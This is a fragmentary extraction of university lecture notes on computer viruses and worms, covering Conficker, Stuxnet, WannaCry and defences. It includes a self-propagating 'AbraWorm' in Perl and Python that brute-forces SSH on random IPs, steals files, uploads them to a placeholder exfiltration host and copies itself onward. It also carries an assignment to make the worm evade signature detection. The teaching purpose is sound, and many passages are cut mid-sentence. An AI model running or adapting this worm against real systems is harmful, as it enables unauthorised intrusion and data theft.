Lecture 22: Malware: Viruses and Worms
Lecture 22: Malware: Viruses and Worms
April 2, 2020
2:22pm
c
2020 Avinash Kak, Purdue University
Goals:
• Attributes of a virus
• Educational examples of a virus in Perl and Python
• Attributes of a worm
• Educational examples of a worm in Perl and Python
• Some well-known worms of the past
• The Conficker and Stuxnet worms
• The WannaCry worm and the DoublePulsar backdoor
• How afraid should we be of viruses and worms?
CONTENTS
22.1 Viruses 3
22.3 Worms 14
2
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
22.1 VIRUSES
context of computer networking protocols, a “host” is typically a digital device capable of communicating
with other devices. Even more specifically, in the context of networking protocols, a host is whatever is
– Boot sectors on disks and other storage media [To understand what a
boot sector does, you have to know how a computer starts up. When you turn on a computer, it starts
executing the instructions starting at a designated memory address that points to the BIOS ROM in the
computer. These instructions tell the system what device to use for booting. Usually, this device is a
disk that contains a specially designated region at its beginning that is called the boot sector. The boot
sector has the partition table for the disk and also the bootstrap code (also known as the boot loader)
for pulling in the operating system at system boot time. This picture of what a boot sector is relates to
how it is used when a system first boots up. More generally, though, the first sector in every disk
partition serves as a boot sector for that partition; this boot sector is commonly known as the Volume
Boot Record (VBR). Since boot sector code is executed automatically, it is a common attack
vector for viruses. The code in even the boot sectors that contain only the partition tables must
execute automatically in order to enable the runtime memory allocator to figure out how to use those
3
Computer and Network Security by Avi Kak Lecture 22
partitions for information storage. A typical protection against boot sector corruption is to prevent
System BIOS from writing to the first sector of a disk and the first sector of a disk partition. Viruses
that attach themselves to boot sectors are known as boot sector viruses. ]
complex or repetitive formatting and inferencing tasks. The macro programming capability can be
exploited for creating executable code that acts like a virus. Also note that new documents often get
their start from templates. Now imagine a template that has been infected with malicious macros. All
documents created from such a template will also be infected. Such viruses are known as macro viruses. ]
4
Computer and Network Security by Avi Kak Lecture 22
all possible privileges or you can be just a user with more limited privileges. But it is fairly common
for the owners of Windows machines to leave them running in the “administrator” mode. That is,
most owners of Windows machines will have only one account on their machines and that will be the
account with administrator privileges. For various reasons that we do not want to go into here, this
5
Computer and Network Security by Avi Kak Lecture 22
(in a specific host file) will come to an end when the host file
has finished execution. However, it is possible for a more vicious
virus to create a continuously running program in the
background.
6
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
• Note that the virus does not re-infect an already infected file.
This behavior is exhibited by practically all viruses. This it does
by skipping ‘.foo’ files that contain the ‘foovirus’ signature
string.
7
Computer and Network Security by Avi Kak Lecture 22
• It should not be too hard to see how the harmless virus shown
here could be turned into a dangerous piece of code.
• As for the name of the virus, since it affects only the files whose
names end in the suffix ‘.foo’, it seems appropriate to name it
“FooVirus” and to call the Perl script file “FooVirus.pl” and the
Python script file “FooVirus.py”.
• In the rest of this section, I’ll first present the Perl script
FooVirus.pl and then the Python script FooVirus.py.
#!/usr/bin/perl
### FooVirus.pl
### Author: Avi kak (kak@purdue.edu)
### Date: April 19, 2006
8
Computer and Network Security by Avi Kak Lecture 22
reads the first 37 lines of the file that is being executed. This
could be the original FooVirus.pl file or one of the files infected
by it. Note that FooVirus.pl contains exactly 37 lines of text
and code. And when the virus infects another ‘.foo’ file, it
places itself at the head of the infected file and then comments
out the rest of the target file. So the first 37 lines of any
infected file will be exactly like what you see in FooVirus.pl. [If
you are not familiar with Perl, $0 is one of Perl’s predefined variables. It contains the name of the file being
executed. The syntax ‘open IN, "< $0"’ means that you want to open the file, whose name is stored in
the variable $0, for reading. The extra symbol ‘<’ just makes explicit that the file is being opened for reading.
This symbol is not essential since, by default, a file is opened in the read mode anyway. ]
9
Computer and Network Security by Avi Kak Lecture 22
• Let’s now look at the foreach loop in the virus. It opens each
file for reading whose name carries the suffix ‘.foo’. The
‘open IN, "< $file"’ statement opens the ‘.foo’ file in just the
reading mode. The statement ‘my @all_of_it = <IN>’ reads all
of the file into the string variable @all_of_it.
• Assuming that we are working with a ‘.foo’ file that was not
previously infected, we now do ‘chmod 0777, $file’ to make
the ‘.foo’ file executable since it is the execution of the file that
will spread the infection.
opens the same ‘.foo’ file in the write-only mode. The first thing
we write out to this file is the virus itself by using the command
‘print OUT "$virus"’.
and the write-out of this modified content back to the ‘.foo’ file
is accomplished by ‘print OUT @all_of_it’. [Again, if you are not so familiar
with Perl, $ is Perl’s default variable that, in the current context, would be bound to each line of the input
file as map scans the contents of the array @all of it and applies the first argument string substitution rule
to it. ]
#!/usr/bin/env python
import sys
import os
import glob
## FooVirus.py
## Author: Avi kak (kak@purdue.edu)
## Date: April 5, 2016
IN = open(sys.argv[0], ’r’)
virus = [line for (i,line) in enumerate(IN) if i < 37]
11
Computer and Network Security by Avi Kak Lecture 22
12
Computer and Network Security by Avi Kak Lecture 22
13
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
22.3 WORMS
• But note that a lot of people use the terms ‘virus’ and ‘worm’
synonymously. That is particularly the case with the vendors of
anti-virus software. A commercial anti-virus program is
supposed to catch both viruses and worms.
14
Computer and Network Security by Avi Kak Lecture 22
15
Computer and Network Security by Avi Kak Lecture 22
• In all cases, the extent of harm that a worm can carry out
would depend on the privileges accorded to the guise under
which the worm programs are executing. So if a worm manages
to guess someone’s password on a remote machine (and that
someone does not have elevated privileges), the extent of any
harm done might be minimal.
16
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
17
Computer and Network Security by Avi Kak Lecture 22
Not really. In general, the IP address that the worm uses for yyy.yyy.yyy.yyy can be for any
host in the internet that the worm successfully infiltrated into previously — provided it is able
to convey the login information regarding that host to its human handlers. The worm could
use a secret IRC channel to convey to its human handlers the username and the password that
18
Computer and Network Security by Avi Kak Lecture 22
it used to break into the hosts selected for uploading the files exfiltrated from the victim
machines. (See Lecture 29 for how IRC is put to use for such deeds.) You would obviously
• Since the worm installs itself in each infected host, the bad
guys will have an ever increasing army of infected hosts at
their disposal because each infected host will also scan the
internet for additional vulnerable hosts.
• In the rest of this section, I’ll first explain the login in the Perl
implementation of the worm. Subsequently, I’ll present the
Python implementation of the same worm.
• To understand the Perl code file shown next, it’s best to start
by focusing on the role played by each of the following global
variables that are declared at the beginning of the script:
@digrams
@trigrams
$opt
$debug
$NHOSTS
19
Computer and Network Security by Avi Kak Lecture 22
$NUSERNAMES
$NPASSWDS
get_new_passwds()
20
Computer and Network Security by Avi Kak Lecture 22
• If you are interested in playing with the worm code, the global
variable $debug is important for you. You should execute the
worm code in the debug mode by changing the value of $debug
from 0 to 1. But note that, in the debug mode, you need to
supply the worm with at least two IP addresses where you
have SSH access. You need at least one IP address for a host
that contains one or more text files with the string
“abracadabra” in them. The IP addresses of such hosts go
where you see xxx.xxx.xxx.xxx in the code below. In
addition, you need to supply another IP address for a host that
will serve as the exfiltration destination for the “stolen” files.
This IP address goes where you see yyy.yyy.yyy.yyy in the
code. For both xxx.xxx.xxx.xxx and yyy.yyy.yyy.yyy, you
would also need to supply the login credentials that work at
those addresses.
• As for the name of the worm, since it only steals the text files
that contain the string “abracadabra”, it seems appropriate to
call the worm “AbraWorm” and the script file “AbraWorm.pl”.
• You can download the code shown below from the website for
the lecture notes.
#!/usr/bin/perl -w
### AbraWorm.pl
22
Computer and Network Security by Avi Kak Lecture 22
23
Computer and Network Security by Avi Kak Lecture 22
use strict;
use Net::OpenSSH;
## You would want to uncomment the following two lines for the worm to
## work silently:
#open STDOUT, ’>/dev/null’;
#open STDERR, ’>/dev/null’;
$Net::OpenSSH::debug = 0;
## The following numbers do NOT mean that the worm will attack only 3
## hosts for 3 different usernames and 3 different passwords. Since the
## worm operates in an infinite loop, at each iteration, it generates a
## fresh batch of hosts, usernames, and passwords.
$NHOSTS = $NUSERNAMES = $NPASSWDS = 3;
## The trigrams and digrams are used for syntheizing plausible looking
## usernames and passwords. See the subroutines at the end of this script
## for how usernames and passwords are generated by the worm.
@trigrams = qw/bad bag bal bak bam ban bap bar bas bat bed beg ben bet beu bum
bus but buz cam cat ced cel cin cid cip cir con cod cos cop
cub cut cud cun dak dan doc dog dom dop dor dot dov dow fab
faq fat for fuk gab jab jad jam jap jad jas jew koo kee kil
24
Computer and Network Security by Avi Kak Lecture 22
kim kin kip kir kis kit kix laf lad laf lag led leg lem len
let nab nac nad nag nal nam nan nap nar nas nat oda ode odi
odo ogo oho ojo oko omo out paa pab pac pad paf pag paj pak
pal pam pap par pas pat pek pem pet qik rab rob rik rom sab
sad sag sak sam sap sas sat sit sid sic six tab tad tom tod
wad was wot xin zap zuk/;
@digrams = qw/al an ar as at ba bo cu da de do ed ea en er es et go gu ha hi
ho hu in is it le of on ou or ra re ti to te sa se si ve ur/;
# For the same IP address, we do not want to loop through multiple user
# names and passwords consecutively since we do not want to be quarantined
# by a tool like DenyHosts at the other end. So let’s reverse the order
# of looping.
for (;;) {
my @usernames = @{get_new_usernames($NUSERNAMES)};
my @passwds = @{get_new_passwds($NPASSWDS)};
# print "usernames: @usernames\n";
# print "passwords: @passwds\n";
# First loop over passwords
foreach my $passwd (@passwds) {
# Then loop over user names
foreach my $user (@usernames) {
# And, finally, loop over randomly chosen IP addresses
foreach my $ip_address (@{get_fresh_ipaddresses($NHOSTS)}) {
print "\nTrying password $passwd for user $user at IP " .
"address: $ip_address\n";
my $ssh = Net::OpenSSH->new($ip_address,
user => $user,
passwd => $passwd,
master_opts => $opt,
timeout => 5,
ctl_dir => ’/tmp/’);
next if $ssh->error;
# Let’s make sure that the target host was not previously
# infected:
25
Computer and Network Security by Avi Kak Lecture 22
my $cmd = ’ls’;
my (@out, $err) = $ssh->capture({ timeout => 10 }, $cmd );
print $ssh->error if $ssh->error;
if ((join ’ ’, @out) =~ /AbraWorm\.pl/m) {
print "\nThe target machine is already infected\n";
next;
}
# Now look for files at the target host that contain
# ‘abracadabra’:
$cmd = ’grep abracadabra *’;
(@out, $err) = $ssh->capture({ timeout => 10 }, $cmd );
print $ssh->error if $ssh->error;
my @files_of_interest_at_target;
foreach my $item (@out) {
$item =~ /^(.+):.+$/;
push @files_of_interest_at_target, $1;
}
if (@files_of_interest_at_target) {
foreach my $target_file (@files_of_interest_at_target){
$ssh->scp_get($target_file);
}
}
# Now upload the exfiltrated files to a specially designated host,
# which can be a previously infected host. The worm will only
# use those previously infected hosts as destinations for
# exfiltrated files if it was able to send the login credentials
# used on those hosts to its human masters through, say, a
# secret IRC channel. (See Lecture 29 on IRC)
eval {
if (@files_of_interest_at_target) {
my $ssh2 = Net::OpenSSH->new(
’yyy.yyy.yyy.yyy’,
user => ’yyyyy’,
passwd =>’yyyyyyyy’ ,
master_opts => $opt,
timeout => 5,
ctl_dir => ’/tmp/’);
# The three ’yyyy’ marked lines
# above are for the host where
# the worm can upload the files
# it downloaded from the
# attached machines.
my $dir = join ’_’, split /\./, $ip_address;
my $cmd2 = "mkdir $dir";
26
Computer and Network Security by Avi Kak Lecture 22
my (@out2, $err2) =
$ssh2->capture({ timeout => 15 }, $cmd2);
print $ssh2->error if $ssh2->error;
map {$ssh2->scp_put($_, $dir)}
@files_of_interest_at_target;
if ($ssh2->error) {
print "No uploading of exfiltrated files\n";
}
}
};
# Finally, deposit a copy of AbraWorm.pl at the target host:
$ssh->scp_put($0);
next if $ssh->error;
}
}
}
last if $debug;
}
sub get_new_usernames {
return [’xxxxxx’] if $debug; # need a working username for debugging
my $howmany = shift || 0;
return 0 unless $howmany;
my $selector = unpack("b3", pack("I", rand(int(8))));
my @selector = split //, $selector;
my @usernames = map {join ’’, map { $selector[$_]
? $trigrams[int(rand(@trigrams))]
: $digrams[int(rand(@digrams))]
} 0..2
} 1..$howmany;
return \@usernames;
}
sub get_new_passwds {
return [’xxxxxxx’] if $debug; # need a working password for debugging
my $howmany = shift || 0;
return 0 unless $howmany;
my $selector = unpack("b3", pack("I", rand(int(8))));
my @selector = split //, $selector;
my @passwds = map {join ’’, map { $selector[$_]
? $trigrams[int(rand(@trigrams))] . (rand(1) > 0.5 ? int(rand(9)) : ’’)
: $digrams[int(rand(@digrams))] . (rand(1) > 0.5 ? int(rand(9)) : ’’)
} 0..2
} 1..$howmany;
27
Computer and Network Security by Avi Kak Lecture 22
return \@passwds;
}
sub get_fresh_ipaddresses {
return [’xxx.xxx.xxx.xxx’] if $debug;
# Provide one or more IP address that you
# want ‘attacked’ for debugging purposes.
# The usrname and password you provided
# in the previous two functions must
# work on these hosts.
my $howmany = shift || 0;
return 0 unless $howmany;
my @ipaddresses;
foreach my $i (0..$howmany-1) {
my ($first,$second,$third,$fourth) =
map {1 + int(rand($_))} (223,223,223,223);
push @ipaddresses, "$first\.$second\.$third\.$fourth";
}
return \@ipaddresses;
}
• I’ll next present the Python version of the same worm. For the
Python code that follows, you’d need to first install the
following packages in your machine:
python-paramiko
python3-paramiko
python-scp
python3-scp
28
Computer and Network Security by Avi Kak Lecture 22
#!/usr/bin/env python
### AbraWorm.py
29
Computer and Network Security by Avi Kak Lecture 22
30
Computer and Network Security by Avi Kak Lecture 22
##
## After you have executed the worm code, you will notice that a copy of
## the worm has landed at the host at the IP address you used for
## xxx.xxx.xxx.xxx and you’ll see a new directory at the host you used for
## yyy.yyy.yyy.yyy. This directory will contain those files from the
## xxx.xxx.xxx.xxx host that contained the string ‘abracadabra’.
import sys
import os
import random
import paramiko
import scp
import select
import signal
## You would want to uncomment the following two lines for the worm to
## work silently:
#sys.stdout = open(os.devnull, ’w’)
#sys.stderr = open(os.devnull, ’w’)
## The following numbers do NOT mean that the worm will attack only 3
## hosts for 3 different usernames and 3 different passwords. Since the
## worm operates in an infinite loop, at each iteration, it generates a
## fresh batch of hosts, usernames, and passwords.
NHOSTS = NUSERNAMES = NPASSWDS = 3
## The trigrams and digrams are used for syntheizing plausible looking
## usernames and passwords. See the subroutines at the end of this script
## for how usernames and passwords are generated by the worm.
trigrams = ’’’bad bag bal bak bam ban bap bar bas bat bed beg ben bet beu bum
bus but buz cam cat ced cel cin cid cip cir con cod cos cop
cub cut cud cun dak dan doc dog dom dop dor dot dov dow fab
faq fat for fuk gab jab jad jam jap jad jas jew koo kee kil
kim kin kip kir kis kit kix laf lad laf lag led leg lem len
let nab nac nad nag nal nam nan nap nar nas nat oda ode odi
odo ogo oho ojo oko omo out paa pab pac pad paf pag paj pak
pal pam pap par pas pat pek pem pet qik rab rob rik rom sab
sad sag sak sam sap sas sat sit sid sic six tab tad tom tod
wad was wot xin zap zuk’’’
digrams = ’’’al an ar as at ba bo cu da de do ed ea en er es et go gu ha hi
ho hu in is it le of on ou or ra re ti to te sa se si ve ur’’’
trigrams = trigrams.split()
digrams = digrams.split()
31
Computer and Network Security by Avi Kak Lecture 22
def get_new_usernames(how_many):
if debug: return [’xxxxxxx’] # need a working username for debugging
if how_many is 0: return 0
selector = "{0:03b}".format(random.randint(0,7))
usernames = [’’.join(map(lambda x: random.sample(trigrams,1)[0] if
int(selector[x]) == 1 else random.sample(digrams,1)[0], range(3))) for x in range(how_many)]
return usernames
def get_new_passwds(how_many):
if debug: return [’xxxxxxx’] # need a working password for debugging
if how_many is 0: return 0
selector = "{0:03b}".format(random.randint(0,7))
passwds = [ ’’.join(map(lambda x: random.sample(trigrams,1)[0] + (str(random.randint(0,9))
if random.random() > 0.5 else ’’) if int(selector[x]) == 1
else random.sample(digrams,1)[0], range(3))) for x in range(how_many)]
return passwds
def get_fresh_ipaddresses(how_many):
if debug: return [’128.46.144.123’]
# Provide one or more IP address that you
# want ‘attacked’ for debugging purposes.
# The usrname and password you provided
# in the previous two functions must
# work on these hosts.
if how_many is 0: return 0
ipaddresses = []
for i in range(how_many):
first,second,third,fourth = map(lambda x: str(1 + random.randint(0,x)), [223,223,223,223])
ipaddresses.append( first + ’.’ + second + ’.’ + third + ’.’ + fourth )
return ipaddresses
# For the same IP address, we do not want to loop through multiple user
# names and passwords consecutively since we do not want to be quarantined
# by a tool like DenyHosts at the other end. So let’s reverse the order
# of looping.
while True:
usernames = get_new_usernames(NUSERNAMES)
passwds = get_new_passwds(NPASSWDS)
# print("usernames: %s" % str(usernames))
# print("passwords: %s" % str(passwds))
# First loop over passwords
for passwd in passwds:
# Then loop over user names
for user in usernames:
# And, finally, loop over randomly chosen IP addresses
for ip_address in get_fresh_ipaddresses(NHOSTS):
print("\nTrying password %s for user %s at IP address: %s" % (passwd,user,ip_address))
files_of_interest_at_target = []
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect(ip_address,port=22,username=user,password=passwd,timeout=5)
print("\n\nconnected\n")
# Let’s make sure that the target host was not previously
32
Computer and Network Security by Avi Kak Lecture 22
# infected:
received_list = error = None
stdin, stdout, stderr = ssh.exec_command(’ls’)
error = stderr.readlines()
if error is not None:
print(error)
received_list = list(map(lambda x: x.encode(’utf-8’), stdout.readlines()))
print("\n\noutput of ’ls’ command: %s" % str(received_list))
if ’’.join(received_list).find(’AbraWorm’) >= 0:
print("\nThe target machine is already infected\n")
next
# Now let’s look for files that contain the string ’abracadabra’
cmd = ’grep -ls abracadabra *’
stdin, stdout, stderr = ssh.exec_command(cmd)
error = stderr.readlines()
if error is not None:
print(error)
next
received_list = list(map(lambda x: x.encode(’utf-8’), stdout.readlines()))
for item in received_list:
files_of_interest_at_target.append(item.strip())
print("\nfiles of interest at the target: %s" % str(files_of_interest_at_target))
scpcon = scp.SCPClient(ssh.get_transport())
if len(files_of_interest_at_target) > 0:
for target_file in files_of_interest_at_target:
scpcon.get(target_file)
# Now deposit a copy of AbraWorm.py at the target host:
scpcon.put(sys.argv[0])
scpcon.close()
except:
next
# Now upload the exfiltrated files to a specially designated host,
# which can be a previously infected host. The worm will only
# use those previously infected hosts as destinations for
# exfiltrated files if it was able to send the login credentials
# used on those hosts to its human masters through, say, a
# secret IRC channel. (See Lecture 29 on IRC)
if len(files_of_interest_at_target) > 0:
print("\nWill now try to exfiltrate the files")
try:
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
# For exfiltration demo to work, you must provide an IP address and the login
# credentials in the next statement:
ssh.connect(’yyy.yyy.yyy.yyy’,port=22,username=’yyyy’,password=’yyyyyyy’,timeout=5)
scpcon = scp.SCPClient(ssh.get_transport())
print("\n\nconnected to exhiltration host\n")
for filename in files_of_interest_at_target:
scpcon.put(filename)
scpcon.close()
except:
print("No uploading of exfiltrated files\n")
next
if debug: break
33
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
• The Morris worm was the first really significant worm that
effectively shut down the internet for several days in 1988. It is
named after its author Robert Morris.
• The Morris worm used the following three exploits to jump over
to a new machine:
– The worm used the remote shell program rsh to enter other
machines using passwords. It used various strategies to guess
people’s passwords. [This is akin to what is now commonly referred to as
the dictionary attack. Lecture 24 talks about such attacks in today’s
networks.] When it was able to break into a user account, it
would harvest the addresses of the remote machines in their
‘.rhosts’ files.
35
Computer and Network Security by Avi Kak Lecture 22
36
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
37
Computer and Network Security by Avi Kak Lecture 22
– The worm could also lock out certain user accounts. This
was made possible by the modifications the worm made to
the Windows registry.
38
Computer and Network Security by Avi Kak Lecture 22
• Therefore, let’s first talk about the file svchost.exe. This file
is fundamental to the functioning of the Windows platform.
The job of the always-running process that executes the
svchost.exe file is to facilitate the execution of the
dynamically-linkable libraries (DLLs) that the different
applications reside in. [A program stored as a DLL cannot run on a stand-alone basis
and must be loaded by another program.] This the svchost process does by
replicating itself for each DLL that needs to be executed. So we
could say that any DLL that needs to be executed must
“attach” itself to the svchost process. [The process executing the file
svchost.exe is also referred to as the generic host process. At a very loose level of comparison,
the svchost process is to a Windows platform what init is to a Unix-like system. Recall that the
PID of init is 1. The init process in a Unix-like platform is the parent of every other process
same svchost group are derived from the same svchost registry key by supplying different DLLs as
ServiceDLL values for the Parameters key. ] [Chapter 2 of “Scripting with Objects”
contains an easy-to-read account of how the processes are launched, how they relate to
one another, and how the operating system interacts with them in a computer.]
39
Computer and Network Security by Avi Kak Lecture 22
the intervening transport mechanisms that carry the commands in one direction and the
40
Computer and Network Security by Avi Kak Lecture 22
an SMB session on TCP port 445. The purpose of this function is to canonicalize a string,
i.e., convert a path string like aaa\bbb\...\ccc into \aaa\ccc. When, in an SMB
session, this function was supplied with a specially crafted string by a remote host, it was
possible to alter the function’s return address in the stack frame for the function being
the LoadLibrary() function whose sole argument was the name of the newly downloaded
worm file. The LoadLibrary command also copied the worm file into the system
(b) Once a machine was infected, the worm could drop a copy
of itself (usually under a different randomly constructed
name) in the hard disks on the other machines mapped in
the previously infected machine (I am referring to
“network shares” here). If it needed a password in order
to drop a copy of itself at these other locations, the worm
came equipped with a list of 240 commonly used
passwords. If it succeeded, the worm created a new folder
at the root of these other disks where it placed a copy of
41
Computer and Network Security by Avi Kak Lecture 22
network but that is not able to spread its malware to the rest of the network. Multiple
honenets. ]
43
Computer and Network Security by Avi Kak Lecture 22
44
Computer and Network Security by Avi Kak Lecture 22
45
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
between different threads when they have access to the same data objects in memory. When thread
46
Computer and Network Security by Avi Kak Lecture 22
47
Computer and Network Security by Avi Kak Lecture 22
A acquires a mutex lock on a data object, all other threads wanting access to that data object must
suspend their execution until thread A releases its mutex lock on the data object. In the same spirit,
Conficker installs a mutex object during startup to prevent the possibility that an older version of the
worm would be run should it get downloaded into the machine. A mutex name is registered for each
different version of the worm. See Chapter 14 of “Scripting with Objects” for further information on
created as shown in the second box from the top on the left.
Also note that the first box prevents the worm from doing its
bad deeds if the keyboard attached to the machine is Ukrainian.
This was probably meant to be a joke by the creators of the
worm, unless, for some reason, they really did not want the
computers in Ukraine to be harmed.
48
Computer and Network Security by Avi Kak Lecture 22
• After the names are generated, the worm carries out a DNS
lookup on the names in order to acquire the IP addresses for as
many of those 250 names as possible. The worm then sends an
HTTP request to those machines on their port 80 to see if an
executable for the worm is available for download. If a new
executable is downloaded and it is of more recent vintage, it
replaces the old version. Obviously, the same mechanism can
be used by the worm to acquire new payloads from these
other machines.
51
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
team of operators can monitor an entire production process from a control room and, when so needed, make
adjustments to the parameters in order to optimize the production. As to what parameters can be monitored,
the list is endless — it depends on what type of process is being monitored by SCADA. In discrete parts
manufacturing, the parameters could be the speeds of the conveyor belts, calibration parameters of
production devices, parameters related to the optimized operation of key equipment, parameters related to
emissions into the environment, etc. Here is a brief list of where SCADA is used: climate control in large
interiors, nuclear power plants, monitoring and control of mass transit systems, water management systems,
digital pager alarm systems, monitoring of space flights and satellite systems, etc. With web based SCADA,
] It has
you could monitor and control a process that is geographically distributed over a wide area.
53
Computer and Network Security by Avi Kak Lecture 22
Trend Micro also makes available a tool that can scan your disk
files to see if your system is infected with this worm:
http://blog.trendmicro.com/stuxnet-scanner-a-forensic-tool/
55
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
• The malware that I believe made the most news in 2017 was the
WannaCry ransomware worm.
and printers. Ports 139 and 445 are assigned to the SMB protocol. As mentioned in Lecture 16, the acronym
Bulletin MS08-067. [Section 22.6 of this lecture has a description of how the MS08-067
vulnerability works.] On the other hand, the SMB vulnerability
57
Computer and Network Security by Avi Kak Lecture 22
hosts in your LAN will ever need them for sharing resources vis-a-vis the
hosts north of the router. Close these ports the first moment you get a
chance!]
exhibit one behavior when first installed on a host and a different behavior when the same host
is subsequently rebooted. For example, at its first installation, an implant may merely write a
piece of malicious code in the boot sector of a disk. A subsequent reboot of the host will then
] Think
automatically execute this code and could cause the host to freeze up at the least.
59
Computer and Network Security by Avi Kak Lecture 22
https://nmap.org/nsedoc/scripts/smb-double-pulsar-backdoor.html
60
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
61
Computer and Network Security by Avi Kak Lecture 22
at home are meant for the Windows Office suite of software utilities and for
amusement and entertainment; (5) When I reach out to the internet from the
Windows machines, I generally find myself visiting the same newspaper and
other such sites every day; (6) Yes, it is true that Googling can sometimes
take me into unfamiliar spaces on the internet, but, except for occasionally
searching for the lyrics of a song that has caught my fancy, I am unlikely to
enter malicious sites (the same can be said about the rest of my family); and,
finally — and probably most importantly — (7) my home network is behind
a router and therefore benefits from a generic firewall in the router. What
that means is that there is not a high chance of malware landing in my
Windows machines from the internet. The point I am making is that even the
most sinister worm cannot magically take a leap into your machine just
because your machine is connected to the internet provided you are careful
about sharing resources with other machines, about how you process your
email (especially with regard to clicking on attachments in unsolicited or
spoofed email), what sites you visit on the internet, etc.
• You must also bear in mind the false sense of security that can
be created by the anti-virus software. If my life’s calling was
creating new viruses and worms, don’t you think that each time
I created a new virus or a worm, I would first check it against
all the malware signatures contained in the latest versions of the
anti-virus tools out there? Obviously, I’d unleash my malware
only if it cannot be detected by the latest signatures. [It is easy
to check a new virus against the signatures known to anti-virus vendors by
uploading the virus file to a web site such as www.virustotal.com. Such
sites send back a report — free of charge — that tells you which vendor’s
62
Computer and Network Security by Avi Kak Lecture 22
63
Computer and Network Security by Avi Kak Lecture 22
64
Computer and Network Security by Avi Kak Lecture 22
65
Computer and Network Security by Avi Kak Lecture 22
may have to modify the white list since the patch may call for
executing new DLLs. It is not clear if a non-expert user of a PC
would have the competence — let alone the patience — to do
that.
66
Computer and Network Security by Avi Kak Lecture 22
Back to TOC
1. The best tools against malware are built by those good guys
who have the ability to think like the bad guys. [One reason why it is so
easy to do bad deeds on the internet is that its foundational protocols were designed by genuinely good
people who could never have imagined that there would be people out there who might want to make their
] So think about
living through identity theft, credit-card theft, incessant spamming, etc.
5. How does the Conficker worm drop a copy of itself in the hard
disks of the other computers that are mapped in your
computer? More to the point, how does the worm get the
67
Computer and Network Security by Avi Kak Lecture 22
7. Programming Assignment:
8. Programming Assignment:
that you see near the end of the main infinite loop in the script.
This additional code in the worm could insert some extra
newline characters between a randomly chosen set of lines, some
extra randomly selected characters in the comment blocks, some
extra white space between the identifiers in each statement at
randomly chosen places, and so on. And if you are ambitious,
68
Computer and Network Security by Avi Kak Lecture 22
you can get the worm to modify the code in more significant
ways (without altering its overall logic) before depositing a copy
of itself in a target host. For example, since you can use different
control structures for infinite loops, you could randomly choose
from amongst a given set of possibilities for each new version of
the worm. The net result of all these changes on the fly will be
that you will make it much harder for the worm to be
recognized with simple signature based recognition algorithms.
9. Programming Assignment:
69